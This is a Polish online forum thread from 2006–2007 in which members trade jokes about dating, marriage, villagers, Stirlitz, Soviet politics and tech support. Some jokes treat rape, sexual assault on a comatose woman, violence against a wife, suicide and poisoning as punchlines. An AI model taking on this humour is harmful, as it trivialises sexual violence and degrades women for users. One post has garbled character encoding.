Jak miałem 18 lat spotykałem się z dziewczyną, która była bardzo namiętna. Jednak była zbyt uczuciowa, o wszystko płakała, łatwo się denerwowała. Ciągle groziła samobójstwem. Postanowiłem, że muszę znaleźć jakąś "stabilną" dziewczynę.

Jak doszło do 25 lat znalazłem dziewczynę stateczną, ale było to strasznie nudne, wszystko można było przewidzieć, nie cieszyła się z życia. I życie stało się przygnebiające. Trzeba było znaleźć dziewczynę z którą można byłby przeżyć coś podniecającego.

W wieku 28 lat znalazłem ekscytujacą dziewczynę, ale nie mogłem za nią nadążyć. Wciąż się spieszyła, nigdzie nie zagrzała miejsca. Ciągle z kimś flirtowała. Z początku było zabawnie i ciekawie. Ale był to związek bez przyszłości. Więc postanowiłem znaleźć dziewczynę z ambicjami.

Kiedy już miałem 31 lat spotkałem mądrą, ambitna dziewczynę stojąca twardo na ziemi i się z nią ożeniłem. Ale niestety była tak ambitna, że się ze mną rozwiodła i zabrała wszystko co miałem.

Teraz mam 40 lat i szukam dziewczyny z dużymi cyckami.

KLeszek - 30-11-2006, 22:55

nie widziałem .... więc wklejam

Do zabitej dechami wiochy przyjechał zimową porą młody lekarz. Już
na następny dzień trafił do niego jeden ze starszych mieszkańców,
który poślizgnął się i stłukł sobie kolano. Lekarz kazał mu zdjąć
spodnie aby mógł zbadać bolące miejsce i ze zdziwieniem
stwierdził, że chłopina nie ma majtek.
- Czego nie nosi pan kalesonów? - zapytał.
- Nigdym nie nosił - odpowiedział rolnik - po co mi to?
- Panie przecież to i bardziej czysto i bardziej ciepło, radziłbym
panu spróbować.
Po wizycie u lekarza chłop pojechał do miasteczka po leki i
wstąpił też do sklepu aby zakupić kalesony.
Gdy wrócił do domu założył je na tyłek, trochę pokręcił się
jeszcze po gospodarce, "zadał" świniom i poszedł spać.
Rano jak miał to w zwyczaju szybko poleciał za stodołę walnąć
porannego stolca. Jako, że był mróz, szybko zdjął spodnie kucnął
nadął się, postawił klocka i podnosząc się zerknął za siebie. Na
śniegu nie było nic. Wtedy przypomniał sobie o kalesonach:
- Miał konował rację - mruknął - faktycznie czyściej.
Zaczął zapinać spodnie i znowu z podziwem dla wiedzy doktora
powiedział:
- I faktycznie bardziej ciepło.

Habibi - 30-11-2006, 23:25

Jasiu wychodzi z lazienki z placzem,po wieczornym czyszczeniu zabkow.

Wystraszona mamusia wola:

-Jasiu co sie stalo?

-A mi znowu urosl taki maly bialy zabek

-To dobrze synku masz jednego wiecej

-Eeeeeee tam bialy,ja bym wolal taki zloty jak dziadek Felek ma.;-)

IRA - 01-12-2006, 11:08

Przysłowia:
Kto miesa polskiego nie jada,
w ćwierćfinałach odpada!!


Kto ma trenera z Argentyny,
temu niestraszne są ruskie miny!


Polska wódka i siatkówka,
lepszy procent ma niz Ruska!

KasiaK - 01-12-2006, 17:18

z policyjnych radiostacji (czytałam to dzis, w gazecie, jadac autobusem i az sie cała zaplułam ze smiechu :lol: )

-"niech jakiś radiowóz jedzie do parku.lata tam gola baba. tylko nie wszyscy, jak ostatnio!"

-jak bedziesz wolny to podjedz do parku. tam w krzakach jest jakas para.podejdz dyskretnie i posluchaj, czy ta pani mowi, ze jej dobrze, czy moze krzyczy ratunku"

-podjedz pod domy towarowe.tam czai sie nasza obserwacja i bija ich chuligani.trzeba pomoc"

- przy mieszkaniu lezy i spiewa. moze artysta? sprawdz, czy go do izby czu na festiwal"

stacja:
"podaje komunikat za pojazdem: mercedes pięcsetka, czarny, numer XXX. tym samochodem porusza sie mafia z Wolomina"
odpowiedz:
" no, no. nie mow tak. oni maja lepsza łącznosc z nami niz my"


stacja:
"kiedy wreszcie dowieziesz zatrzymanego do prokuratury? tam czekaja juz 3h!"
odpowiedz:
"jak tylko pomocnik dowiezie mi benzyne tramwajem"

ania1311 - 02-12-2006, 12:03

Zawsze chciałem być odkrywcą morskich głębin, badać przepastne czeluści oceanów, marzyłem o nurkowaniu wśród koralowców, czuć ciepłe prądy omiatające me ciało, przyodziane jedynie w nylonowy kombinezon. Marzyłem o słonych wodach i ich przebogatej faunie i florze...
Cóż, gąbka w wannie to zawsze coś...

bann - 02-12-2006, 12:53

Do Izby przyjęć pogotowia w Warszawie wchodzi Doda Elektroda z zakrwawionym palcem wskazującym.
- Co się stało ? pyta pięknej pacjentki opatrujący ranę lekarz
- Było mi tak źle, że chciałam popełnić samobójstwo - odpowiada artystka - Wzięłam pistolet i postanowiłam strzelić sobie w serce ale pomyślałam, przecież mam takie piękne piersi, że szkoda
zniszczyć. Włożyłam lufę do ust ale też zrezygnowałam bo żal mi się zrobiło moich bielutkich zębów. Strzelę sobie w ucho powiedziałam i przystawiłam pistolet. Ale wtedy pomyślałam - "przecież wystrzał to straszny huk a umierać trzeba w ciszy" i zatkałam drugie ucho palcem.

Efraim Ryba - 04-12-2006, 14:21

Wczesny poranek. Wieś, dom, obok domu chlew. Z domu wychodzi rolnik Zenek, 2-dniowy zarost, podkrążone oczy, ręce jak bochny, kufajka, gumofilce, berecik
z antenką. Powolnym krokiem idzie przez błotniste podwórko do chlewu. Z chlewu dochodzą pierwsze niepewne pokwikiwania. Zenek podnosi wiadro z pomyjami i
wchodzi do środka . Wszystkie świnie kwiczą i tłoczą jak najbliżej. Nalewa pomyje do koryta - świnie w spazmach, pełen entuzjazm, kwik nie do wytrzymania. Zenek przez chwile stoi i patrzy na
nie z lekko zażenowanym uśmiechem. Powoli odwraca się i wraca do domu. W domu zdejmuje kufajkę i podchodzi do sczerniałego kawałka lustra, wiszącego nad
miską, przygładza tłuste włosy i patrzy się na swoje odbicie... W końcu mruczy do siebie: - Co one takiego we mnie widzą?

[ Dodano: Sro 06 Gru, 2006 ]
Rosjanin przychodzi do teatru z piwem i rybą. Siada, patrzy, a tu dookoła
tyle ludzi... Pić jakoś tak niewygodnie i piwa nawet nie ma jak otworzyć.
Nagle sąsiad z prawej do niego:
- Pan pierwszy raz w teatrze?
Ruski:
- No.
Sąsiad:
- Piwo o podłokietnik Pan otworzy.
Gostek tak zrobił i pije z uśmiechem, ale potem myśli sobie co by z tą rybą
zrobić. I tu sąsiad z lewej do niego:
- Pan pierwszy raz w teatrze?
Ruski:
- No.
Sąsiad:
- Ma Pan program przedstawienia przecie - ryba niech se Pan na nim położy i
już.
Gostek siedzi, piwo pije i rybę wpieprza, ale tak coś go pęcherz uwiera a
wyjść niewygodnie jakoś niby w pierwszym rzędzie... Ale tu sąsiad z tyłu do
niego:
- Pan pierwszy raz w teatrze?.
Ruski:
- No.
Sąsiad:
- Przecież my na balkonie jesteśmy, wiec wstań se Pan i lej na parter.
Gostek wstał i leje. No ale tam w dole podnosi się łysy na którego głowę się
odlewał i krzyczy do niego:
- Pan pierwszy raz w teatrze czy jak?
Ruski:
- No.
Łysy:
- No, to nie lej Pan w jedno miejsce, co?

Hogata - 06-12-2006, 23:52

Zdesperowana dziewczyna stoi na nabrzeżu i chce popełnić samobójstwo. Widzi to młody marynarz, podchodzi do niej i mówi:
- Nie rób tego! Zabiorę cię na pokład naszego statku, ukryję, przemycę do Ameryki i zaczniesz nowe życie.
Przez cały rejs będę cię karmił, będę ci dawał radoœć, i ty będziesz mi dawać radoœć. Jeszcze nie wszystko stracone...
Dziewczyna, pochlipujĹĄc z cicha, postanowiła dać sobie jeszcze jednĹĄ szansę i poszła z nim na statek.
Jak obiecywał tak zrobił - ukrył jĹĄ pod pokładem, raz na jakiœ czas podrzucał jej kanapki, jakiœ owoc lub coœ do picia, a
całe noce spędzali na miłosnych igraszkach. Sielankę przerwał kapitan, który pewnego dnia odkrył kryjówkę dziewczyny.
- Co tu robisz? - zapytał surowo.
- Mam układ z jednym marynarzem. Zabrał mnie do Ameryki, karmi mnie, a ja mu pozwalam robić ze mnĹĄ, co chce. Mam nadzieję, że kapitan go nie ukarze?
- Nie - odpowiedział kapitan.
- Chciałbym jednak, żebyœ wiedziała, że jesteœ na pokładzie promu Wolin-Œwinoujœcie-Wolin.


- Tatusiu! A co to jest tam po lewo? - pyta mały yeti swojego ojca.
- Tam jest ludzki cmentarz, synku.
- A co to jest cmentarz?
- Tam ludzie chowajĹĄ swoich zmarłych, oni sobie leżĹĄ i czekajĹĄ nie wiadomo na co.
- To czemu my ich nie zjemy, skoro się nie ruszajĹĄ, tylko uganiamy się za takimi co uciekajĹĄ?
- Bo, mój synku, ludzie z gruntu sa zli...



Przychodzi do fotografa zebra z pingwinem zrobić sobie zdjęcie.
- Kolorowe, czy czarno-białe?
- A jebnĹĄć ci?



W szpitalu leży kobita w œpiĹĄczce. Pielęgniarka zauważyła, że gdy myje jej miejsca intymne wykres fal mózgowych się zmienia. Poinformowala o tym męża z propozycjĹĄ że mógłby zastosować stymulację polegajĹĄcĹĄ na seksie oralnym. MĹĄż poczĹĄtkowo miał opory, ale w końcu się zgodził. Wszedł do pokoju żony, a pielęgniarka obserwowała monitory. Nagle wykres stał się zupełnie płaski. Pielęgniarka wpada do pokoju, a mĹĄż zapinajĹĄc spodnie:
- Chyba się udławiła...

Efraim Ryba - 08-12-2006, 11:06

Wielkie sympozjum na temat: "Czy mężczyzna powinien mieć żonę, czy kochankę?"
Lekarz stwierdza, że przede wszystkim żonę bo to zdrowie seksualne...
Psycholog, że kochankę, bo wtedy jest uprzejmy, elegancki i w ogóle się stara...
Naukowiec dowodzi, że i żonę i kochankę, bo żona myśli, że jest u kochanki,
kochanka, że u żony, a on tup, tup, tup i do biblioteki...

bann - 08-12-2006, 17:17

Wieczorem v-ce premier Lepper zmęczony dniem pracy przechodził obok pokoju Klubu Poselskiego Samoobrony. Do jego uszu doszły dźwięki głośnej muzyki dobiegającej za zamkniętych drzwi. Zdecydowanym ruchem otworzył je i wszedł do środka. Dobrą chwilę przyzwyczajał oczy do ciężkiej od dymu papierosowego atmosfery pokoju. Po chwili dostrzegł całą śmietankę swojej partii, wszędzie walały się puste butelki.
- Co to?! Pijaństwo w moim klubie na terenie sejmu!? Mało mamy jeszcze kłopotów?!
- A jest powód panie przewodniczący, jest powód - bełkotliwie odezwał się Filipek... - Koleżanka Lewandowska dostała okres.
- Aaa... - westchnienie ulgi wydarło się z premierowskiej piersi - to mi też polejcie

gladius - 09-12-2006, 00:16

KasiaK napisał/a:
styx napisał/a:
Nie radzisz sobie ze stresem? Wkurzyła Cię jakaś menda? Jest sposób na ukojenie nerwów...

Wyobraź sobie siebie nad strumieniem. Ptaki ćwierkają w rześkim, górskim powietrzu. Nic Cię nie rozprasza. Jesteś całkowicie oddzielony od tego, co nazywamy "światem zewnętrznym". Cichy dźwięk wody z oddalonego wodospadu spada łagodna kaskada . Woda w strumieniu jest idealnie przejrzysta. Bez trudu dostrzegasz twarz osoby, którą trzymasz pod woda...


hehehhhehehheheheeh
o kurde!
aktualnie by mi rak zabrakło :lol:


Heh, Ty pomożesz mnie, ja pomogę Tobie... :asthanos:

qwerty - 10-12-2006, 09:17

Do właściciela stacji benzynowej przychodzi jakiś gość
- Czy pan potrzebuje ludzi do pracy?
- Nie, mam komplet, nawet o dwie osoby za dużo
- Poważnie?
- Przykro mi, ale naprawdę mówię poważnie
- No to, k..., niech mnie ktos wreszcie obsłuży

Mania - 13-12-2006, 17:15

Troche matematyki.....

Wielu ludzi mówi że daje z siebie ponad 100%, ale  czy tak jest  rzeczywiście?
Co to znaczy osiągnąć 100%  w zyciu?

Z pomocą przychodzi nam matematyka:
Jeżeli za A B C D E F G H I J K L M N O P Q R S T U V W X Y Z  podstawimy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22  23 24 25 26
To:
H-A-R-D-W-O-R-K (ciężka  praca)
8+1+18+4+23+15+18+11 = 98%
a   K-N-O-W-L-E-D-G-E (wiedza)
11+14+15+23+12+5+4+7+5 = 96%
Ale,
B-U-L-L-S-H-I-T (pieprzenie głupot)
2+21+12+12+19+8+9+20 = 103%
zaś.
A-S-S-K-I-S-S-I-N-G (włazidupstwo) 1+19+19+11+9+19+19+9+14+7 ! = 118%
Tak więc jedynym, popartym matematycznie, wnioskiem jest to że  chociaż ciężka praca i wiedza zbliżą cię do ideału, to tylko pieprzenie głupot i włażenie w tyłek wyniosą cię ponad normę

anoolka - 15-12-2006, 15:10

chodzi taki kawal po necie byc moze znacie :d

Historia zakonnic.

Byly sobie dwie zakonnice...

Jedna z nich nazywana byla Siostra Matematyka (SM),

a druga znana byla jako Siostra Logika (SL).

Sciemnia sie a one wciaz sa daleko od klasztoru.

SM: Czy zauwazylas, ze sledzi nas jakis facet od
trzydziestu osmiu i pól minuty? Zastanawiam sie czego chce.

SL: To logiczne. Chce nas zgwalcic.

SM: Oh, nie! W tym tempie dogoni nas w ciagu 15 minut!
Co mozemy zrobic?

SL: Jedyna logiczna rzecza jaka mozemy zrobic to oczywiscie isc szybciej.

SM: Nie dziala.

SL: Oczywiscie, ze nie podzialalo. Ten facet zrobil jedyna
logiczna rzecz. Równiez zaczal isc szyciej.

SM: Wiec co powinnysmy zrobic? W tym tempie dogoni nas w ciagu minuty.

SL: Jedyna logiczna rzecza jaka mozemy zrobic to oczywiscie rozdzielic sie.
Ty pójdziesz tamta droga a ja ta. On nie moze sledzic nas obu jednoczesnie.

Mezczyzna postanowil isc za Siostra Logika.


Siostra Matematyka dotarla do klasztoru i zaczela martwic sie o Siostre Logike.

Siostra Logika w koncu dotarla.

SM: Siostro Logiko! Dzieki Bogu juz jestes!
Opowiedz mi co sie stalo!

SL: Wydarzyla sie jedyna logiczna rzecz.
Mezczyzna nie mógl sledzic nas obu wiec poszedl za mna.

SM: Tak, tak! Ale co bylo pózniej?

SL: Stala sie jedyna logiczna rzecz. Zaczelam biec najszybciej
jak potrafie ale on równiez zaczal biec najszybciej jak potrafi.

SM: I?

SL: Stala sie jedyna logiczna rzecz. Zlapal mnie.

SM: Oh, biedactwo! Co zrobilas?

SL: Jedyna logiczna rzecz.
Podnioslam moja spódnice.

SM: Oh, Siostro! Co zrobil mezczyzna?

SL: Jedyna logiczna rzecz jaka mógl zrobic.
Opuscil spodnie



! SM: Oh, nie! Co bylo potem?

SL: Czy to nie logiczne, Siostro?
Zakonnica z uniesiona spódnica moze
biec szybciej niz facet ze spuszczonymi spodniami.

A dla wszystkich, którzy mysleli, ze bedzie cos brzydkiego:

Zmów dwie Zdrowaski!

:)

bann - 16-12-2006, 18:51

W całej Europie przeprowadzono prosty test. Było tylko jedno pytanie:
"Ile to jest 10 x 100 gramów?"
Prawie we wszystkich krajach 99 % ankietowanych odpowiedziało, że jest to 1 kilogram.
Jedynie w Polsce i w Rosji ponad 95 % odpowiedzi brzmiało - 1 litr...

martin - 17-12-2006, 14:33


Efraim Ryba - 17-12-2006, 18:30

Tak się zdarzyło, że umarły trzy blondynki i przyszło im stanąć przed
obliczem świętego Piotra. Ten powiedział im, że będą mogły wejść do
Nieba, jeśli odpowiedzą na jedno proste pytanie. Zapytał więc pierwszej z
nich:
- Co to jest Wielkanoc?
- O, to proste. Wielkanoc to święto w listopadzie, kiedy odwiedzamy
groby bliskich i modlimy się za zmarłych.
- Źle! - wykrzyknął św. Piotr i to samo pytanie skierował do drugiej
blondynki.
- Wielkanoc to święto w grudniu, kiedy ubiera się choinkę, daje
prezenty i świętuje narodziny Jezusa.
- Źle! -znów oburzył się św. Piotr i bez żadnej już nadziei powtórzył
pytanie trzeciej z blondynek.
Ta spojrzała mu w oczy i uśmiechnęła się pewnie.
- Wielkanoc, to chrześcijańskie święto, które zbiega się w czasie z
żydowskim Świętem Paschy. Jezus i jego uczniowie spożywali ostatnią
wieczerzę. Jeden z nich zdradził Chrystusa rzymianom, którzy później
go ukrzyżowali. Wcześniej był poniżany i zmuszany do znoszenia różnych
cierpień. Po śmierci, jego ciało zostało pochowane w pobliskiej
grocie, do której wejście zastawiono olbrzymim głazem?
Święty Piotr słuchał wszystkich słów kobiety z satysfakcją wyrysowaną
na twarzy, tymczasem blondynka kontynuowała.
- ...Od tamtej pory, raz do roku głaz jest odsuwany, żeby Jezus mógł
wyjść na zewnątrz i jeśli zobaczy swój cień, zima będzie trwała sześć
tygodni dłużej....

mysiar - 17-12-2006, 21:05

Dlaczego zwolniłem sekretarkę


bann - 21-12-2006, 22:01

Wysoko w górach, hen wysoko w lodowej grocie siedzą dwa straszliwe Yeti i obgryzają kosteczki.
Mniejszy straszliwy Yeti przerywa na chwilę i pyta większego:
- Tato, a powiedz mi, po co my się tak ukrywamy przed człowiekami, co? Są takie małe! Przecież i tak je w końcu zjadamy, tak?
Dlaczego napadamy na nich od tyłu?
- Bo widzisz, synku - odpowiada większy straszliwy Yeti dokładnie oblizując palce - lepiej smakują nie obesrane.

Norbi77 - 28-12-2006, 18:29

:lol:

http://youtube.com/watch?v=9bRUsEbfyYQ

Efraim Ryba - 02-01-2007, 08:03

Z nieocenionych Funiastych

Gestapo obstawiło wszystkie wyjścia, ale Stirlitz ich przechytrzył. Uciekł wejściem.

Stirlitz szedł nocą przez las. Nagle zobaczył na drzewie świecące oczy.
- Sowa - pomyślał Stirlitz.
- Sam jesteś sowa - pomyślał Bormann.

Stirlitz rano podczas golenia spogląda w swoje odbicie w lustrze.
- Stirlitz - pomyślał Stirlitz.
- Stirlitz - pomyślało lustro.

- Stirlitz, jesteście Żydem! - stwierdził nagle MĂźller, gdy standartenfurer
opuszczał jego gabinet.
- Nieprawda, jestem uczciwym Rosjaninem - dumnie odparł Stirlitz.

Stirlitz z Plejshnerem szli ulicą i omawiali plan przyszłej operacji. Nagle
padł strzał i Plejshner z jękiem osunął się na ziemię. Stirlitz obejrzał się
w jedną stronę - nikogo, potem w drugą - też nikogo.
- Pewnie mi się wydawało - pomyślał.

Hitler wszedł do swojego bunkra i ujrzał na środku wielką, żelazną skrzynię.
- Co to jest?
- To najnowsza radziecka maszyna podsłuchująco-szyfrująca. Stirlitz ją tu postawił.
- Wyrzucić mi to stąd!
- Już próbowaliśmy. Nikt nie da rady podnieść...

Mueller, zaglądając do pokoju Stirlitza, zapytał:
- Coś dla pana kupić?
- Och, to co zwykle, pasztet z gęsich wątróbek i butelkę czerwonego wina.
Mueller kupił Stirlitzowi to co zwykle: kawałek słoniny, cebulę i pół litra
wódki.

Na morzu Ochockim złowiono wieloryba i stwierdzono ze od głowy do ogona ma
30 metrów, a od ogona do głowy tylko 25. Napisano o tym do radzieckiej Akademii Nauk.
Odpowiedź brzmiała następująco: co prawda nie wiadomo dlaczego tak jest, ale
postępowa nauka radziecka zna takie przypadki, bo od poniedziałku do soboty jest 6 dni,
a od soboty do poniedziałku już tylko 2.

martin - 04-01-2007, 18:07

Orkiestra koscielna na Górnym Slasku, dyrygent pyta sie:
- Zymbalisten fertig?
- Ja, ja naturlich.
- Puzon fertig?
- Ja.
- Trompette fertig?
- Ja.
- Also, eins, zwei, drei;
- "Nie rzucim ziemi, skad nasz ród..."

---

Gość w eleganckiej, drogiej restauracji zauważył, ze kelner, który
prowadzi ich do stolika ma w kieszeni łyżki. Z początku nie zastanowiło go
to, ale gdy usiadł przy stoliku, zobaczył, ze kelner obsługujący jego
stolik również ma łyżki w kieszeni. Inni kelnerzy na sali także. Poprosił
kelnera bliżej i spytał:
- Po co wam łyżki w kieszeniach?
Kelner odpowiedział:
- Kilka miesięcy temu nasze szefostwo zleciło firmie Artur Andersen
zrobienie analizy procesów. I wyszło, ze średnio co trzeci klient zrzuca
łyżkę ze stołu. Przez co trzeba iść do kuchni i przynieść świeżą. Dzięki
temu, ze mamy łyżki pod ręką zaoszczędzamy jednego człowieka na godzinę, a
wydajność wzrasta o 70.3%.
Klient zdziwił się, ale wkrótce zobaczył, że każdy kelner ma przy
spodniach cienki łańcuszek, którego jeden koniec przyczepion y jest do
paska, a drugi znika wewnątrz rozporka. Zaciekawiony przywołał kelnera i
zapytał: Zauważyłem, że każdy z was ma łańcuszek przy rozporku. Po co on
wam?
Kelner:
- Nie każdy jest tak spostrzegawczy jak pan. Ale skoro pyta pan, to
wyjaśniam - również ten łańcuszek zalecił nam Artur Andersen. Wie pan mam
go przyczepionego do ... no wie pan. Gdy idę do toalety, To rozpinam
rozporek i wyciągam łańcuszkiem, dzięki czemu, po oddaniu moczu nie musze
myc rak i wydajność wzrasta o 30%.
Gość pokiwał ze zrozumieniem głową, ale zaraz wyjawił swą następną
wątpliwość:
- Dobrze. Rozumiem, ze wyjmuje pan łańcuszkiem, ale jak można się nim
posłużyć do schowania? Jak wkłada się go z powrotem?- ... ?
- Nie wiem jak inni, ale ja łyżką.

Mania - 04-01-2007, 19:05

martin - ty sie odczep od mojego nieistniejacego juz pracodawcy
:22:
a dowcip stary.... :22: opowiadalismy do sobie w firmie...
Mania

bann - 05-01-2007, 20:14

Kilka nowych rosyjskich:

Wczoraj moskiewski OMON rozpędził demonstrację do prędkości 75 km/h.

"Gazprom" zdecydowanie odmówił przyjęcia roli Świętego Mikołaja na Białorusi. Rozważa jednak wystąpienie w roli Dziadka Mroza.

Dyktatura - wybierasz to co dają.
Demokracja - wybierasz to co chcesz, dostajesz to co dają.

Woła Putin dowódcę swoich specłużb.
Debilu! Prosiłem Cię, żebyś ładnie przywitał Litwinienkę w Londynie?
Taaakkk... - wyjąkał przestraszony generał.
I o co Cię jeszcze prosiłem?
Hmmm....
Miałeś mu dać kilka dobrych rad?
Rad... Polon... co za różnica? Ja tam towarzyszu Putin Maria Skłodowska-Curie nie jestem.

martin - 07-01-2007, 15:59

Technik:
Witam. W czym mogę pomóc?
Klient:
Z zasilacza mojego komputera unosi się dym...
Technik:
Wygląda na to, że potrzebuje pan nowego zasilacza do komputera...
Klient:
Nie, wcale nie! To trzeba tylko zmienić coś w plikach startowych...
Technik:
roszę pana, to co pan opisał, to zepsuty zasilacz. Musi go pan wymienić...
Klient:
W żadnym wypadku! Ktoś mi powiedział, że to wystarczy tylko zmienić pliki
startowe, żeby się pozbyć tego problemu! Niech mi pan tylko poda właściwe komendy...

Przez następnych 10 minut, pomimo wysiłków technika w wyjaśnieniu problemu i jego rozwiązania, klient uparcie twierdzil, że to on ma
racje.
W końcu zirytowany technik powiedział...

Technik:
Przepraszam. Zwykle nie mówimy o tym naszym klientom, ale jest taka nieudokumentowana komenda w DOS'ie, która załatwia ten problem... Klient:
Wiedziałem
Technik:
Proszę tylko dodać linie "LOAD BEZDYMU.COM" na końcu pańskiego pliku
CONFIG.SYS, i wszystko powinno zacząć działać. Proszę zadzwonić i
powiedzieć jak poszło...

Dziesięć minut później, klient oddzwonił...

Klient:
Nie zadziałało. Z zasilacza ciągle unosi się dym...
Technik:
Której wersji DOS'a pan używa?
Klient:
MS-DOS 6.22...
Technik:
No, to tu leży problem. Ta wersja DOS'a nie obsługuje komendy BEZDYMU.
Musi się pan skontaktować z Microsoft'em i zapytać ich o łatę na system.
Proszę zadzwonić i powiedzieć jak panu poszło...

Po około godzinie, telefon znowu zadzwonił...

Klient:
Będę potrzebował nowego zasilacza...
Technik:
Jak pan do tego doszedł?
Klient:
No więc, zadzwoniłem do Microsoft'u i powtórzyłem ich technikowi to co pan mi powiedział, a on zaczął mnie wypytywać o wytwórcę zasilacza...
Technik:
I co panu powiedział?
Klient:
Że mój zasilacz nie jest kompatybilny z komenda BEZDYMU...

wrobel.cwirek - 10-01-2007, 13:36

W "A" (nazwa firmy wycieta :-) ) znaleziono niemowlę. Menedżment podjął decyzję by niezwłocznie zbadano i wyjaśniono, czy znalezione niemowlę jest produktem "A" i czy przy jego produkcji brali udział jego pracownicy.
Wyniki:
Po trwających cztery tygodnie badaniach stwierdzono, że niemowlę w żadnym razie nie może być produktem naszej firmy.
Uzasadnienie:
1. W naszej firmie nigdy nic nie zostało zrobione z własnej inicjatywy.
2. W naszej firmie nigdy dwie osoby nie pracowały wspólnie z takim zaangażowaniem.
3. W naszej firmie nie zrobiono nigdy czegoś, co by miało ręce i nogi
4. W naszej firmie nie było jeszcze przypadku, by coś było gotowe po 9 miesiącach

bann - 10-01-2007, 17:37

Wiesz, moja żona chyba nie żyje.
- Jak to?!
- No seks to tak jak zwykle, ale garów i prania ciągle przybywa.
**********
Leży facet na łożu śmierci. Lekarz powiedział, że nie dotrwa do rana.
Nagle poczuł z kuchni zapach jego ulubionych ciasteczek
czekoladowych zrobionych przez żonę. Ostatkiem sił wydobył się
z lóżka i czołga się do kuchni. Zapach tych ciasteczek przypominał mu dziecinstwo, on wiedział, że zasmakuje ich po raz ostatni.
Wczołgał się do kuchni i widzi jak jego żona przygotowuje te
ciasteczka, o których teraz marzył.
Ostatnimi siłami siegnął po jedno i w tym momencie żona zdzielila go ścierką mówiąc
- Zostaw [cenzura], to na stypę!
************
Dialog małżeński:
- Co byś zrobił gdybym umarła? Ożeniłbyś się ponownie?
- Na pewno nie!
- Dlaczego nie - nie podoba ci się małżeństwo?
- Podoba mi się.
- To dlaczego byś się znów nie ożenił?
- No dobrze ożeniłbym się.
Żona (ze skrzywdzoną miną):
- Naprawdę?
Mąż głośne wzdycha...
- Spałbyś z nią w naszym łóżku?
- A gdzie indziej mielibyśmy spać?
- Zdjąłbyś moje zdjęcia i zamiast nich wywiesił jej zdjęcia?
- To by było chyba w porządku?
- I pozwoliłbyś jej grać moimi kijami do golfa?
- Nie, nie mogłaby ich używać, bo jest leworęczna
**********
Pewnego dnia wybrał się do Zoo pewien gość z żoną. Żona,
naprawdę atrakcyjna, makijaż, letnia, różowa sukienka spięta
paskiem, pończochy samonośne... Gdy szli pomiędzy klatkami
małp, zobaczyli goryla, który na ich widok jakby oszalał i
zaczął skakać na kraty, chrząkać, zawisać na jednej ręce, i
drugą uderzać w czaszkę, najwyraźniej niesamowicie podniecony.
Mąż - zauważywszy podniecenie małpy, zaproponował żonie
podrażnić go jeszcze bardziej i zaczął podsuwać pomysły: -
Obliż usta, zakręć tyłeczkiem...
Żona wykonywała jego instrukcje, a goryl zaczął wydawać takie
dźwięki, że chyba obudziłby martwego.
- Rozepnij pasek... - (goryl prawie już rozginał kraty z napięcia) - ...
a teraz podciągnij sukienkę nad pończochy... (goryl oszalał kompletnie).
Nagle facet złapał żonę za włosy, otworzył drzwi klatki,
wrzucił żonę do środka, zatrzasnął drzwi i powiedział:
- A teraz mu się [cenzura] wytłumacz, że boli cię głowa...
**********
Żona otwiera drzwi, a tam mąż stoi z owcą pod pachą i mówi:
- To jest ta świnia którą posuwam!
Na to żona:
- Ty idioto! To nie świnia tylko owca!
- Zamknij się do owcy mówiłem!!
*********
Facet kupił sobie fajny duży telewizor, przyniósł do domu,
żona patrzy, a na pudle sporo jakichś znaczków informacyjnych.
- Kochanie co oznacza ta szklanka na opakowaniu? - pyta żona.
- To znaczy, że zakup trzeba opić.
*********
Spotykają się dwaj sąsiedzi na ulicy.
- Czy uprawiał sąsiad seks we troje? - pyta jeden.
- Jeszcze nie - odpowiada zapytany.
- A chce sąsiad?
- Oczywiście!
- To biegnij sąsiad do domu, a szybciutko...
*********
W środku nocy mąż zrywa się z łoża i przestępując z nogi na
nogę trzyma się za krocze. Zaspana żona pyta się go:
- Co ci się stało?
- Aaaaa... bo nagle mi się baby zachciało.
Żona roskosznie się przeciąga i mówi:
- To zapraszam.....
Mąż na to:
- Eeee niee.... rozchodzę to.

Efraim Ryba - 12-01-2007, 22:38

Egzamin z zoologii. Profesor wskazując na klatkę, która jest przykryta
tak, że widać tylko nogi ptaka i pyta studenta:
- Co to za ptak?
- Nie wiem - mówi student.
- Jak się pan nazywa? - pyta profesor sięgając po notes.
Student podciąga nogawki.
- Niech pan profesor sam zgadnie..

marcinlisek - 13-01-2007, 12:19

Warszawa. Zima. Śnieg. Jakiś chłopak gra w piłkę nożną. Nagle dźwięk rozbitego szkła. Wybiega dozorca, surowy warszawski dozorca z miotłą, i goni za chłopakiem.

Chłopak biegnie i myśli: "Po co, po co to wszystko!? Po co ten zakłamany obrazek mnie jako małego chłopczyka, po co ta piłka nożna, i niby wszyscy naokoło to moi przyjaciele!? Już odrobiłem lekcje, dlaczego ja nie siedzę w domu na kanapie i nie czytam książki swojego ukochanego pisarza Ernesta Hemingwaya?"

Hawana. Ernest Hemingway pisze kolejną powieść i myśli:. "Po co, po co to wszystko? Wszystko już mi się sprzykrzyło, ta Kuba, te banany, ta trzcina, to gorąco, ci Kubańczycy!!!

Dlaczego nie jestem w Paryżu, nie siedzę ze swoim przyjacielem Andreo Morua w towarzystwie przepięknych kurtyzan, popijając swojego porannego drinka i rozmawiając o sensie życia?"

Paryż. Andrea Morua, głaskawszy biodro przepięknej kurtyzany i popijając swojego porannego drinka, myśli: "Po co, po co mi to wszystko? Jak mi sprzykrzył się ten Paryż, ci grubi Francuzi, brudni marokańcy, te tępe kurtyzany, ta blaszana wieża, z której ci plują na głowę!!! Dlaczego nie mieszkam w Polsce, w Warszawie, gdzie chłód i śnieg, i nie siedzę ze swoim lepszym kolegą Andrzejem Pilotką, i nie rozmawiam z nim o sensie życia??"

Warszawa. Chłód. Śnieg. Andrzej Pilotka. W uszance. Z miotłą. Goni za jakimś gówniarzem i myśli :
" Ku**a, jak dogonię, zaj**ię jak psa!"

bann - 13-01-2007, 16:36

Rosja środek zimy,dworzec kolejowy gdzieś na dalekiej syberii.Komsomołka Masza ma dyżur w toalecie dworcowej, nagle dostrzega człowieka w wojskowym płaszczu z plecakiem, stojącego bezradnie przed pisuarem a z rękawów płaszcza nie widać dłoni. Podchodzi więc do niego i pyta;pomóc, w odpowiedzi kiwnięcie głową
masza;wyjąc? kiwnieci,że tak
maszeńka wyjmuje ,dalej jak zwykle w takim miejscu, po wsystkim gdy już klijent pozapinany i szczęsliwy Masza pyta
A wy twarzyszu to kto ?bo jamyślę że kaleka wojenny,z Afganistanu czy może Czeczenii?
Na to on wyciągając dłonie z rękawów
Nie tylko zimno jak cholera a rękawiczki mi ktoś podpieprzył.

jacola - 13-01-2007, 17:36

Lejnant do Półkownika:
